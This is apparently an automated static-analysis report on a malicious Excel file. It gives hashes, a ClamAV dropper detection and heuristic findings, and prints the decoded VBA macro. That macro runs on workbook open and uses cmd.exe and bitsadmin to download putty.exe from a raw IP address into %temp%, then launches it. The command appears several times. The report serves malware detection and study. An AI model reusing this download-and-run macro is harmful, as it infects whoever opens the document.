Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 67470a1e807d6d09…

MALICIOUS

Office (OOXML)

4.0 KB First seen: 2020-10-03
MD5: 03e04cc2379f533e8bba90502a62b432 SHA-1: bc55225aeee57c64596b275608131ff3a95666fd SHA-256: 67470a1e807d6d091951127f07f358c8fdcdc82fb5e29620976ef457b3b85d24
370 Risk Score

Heuristics 8

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
        TaskID = Shell(Program, 1)
        If Err <> 0 Then
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        On Error Resume Next
        Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
        TaskID = Shell(Program, 1)
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
        Dim Program As String
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        On Error Resume Next
        Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
        TaskID = Shell(Program, 1)
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
        Dim Program As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://176.36.138.35/putty.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1047 bytes
SHA-256: 5ee05ce154b4db32241f25aeb2741534eda9459af86a9fe24b97997b2ee5fc26
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim Program As String
    Dim TaskID As Double
    On Error Resume Next
    Program = "C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high http://176.36.138.35/putty.exe %temp%\\putty.exe>nul & start %temp%\\putty.exe"
    TaskID = Shell(Program, 1)
    If Err <> 0 Then    
        MsgBox "Can't start " & Program
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: a763ec79728a471d2f440ce673769dcef00ebbd4bc13d95d646821e06fc78c91
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely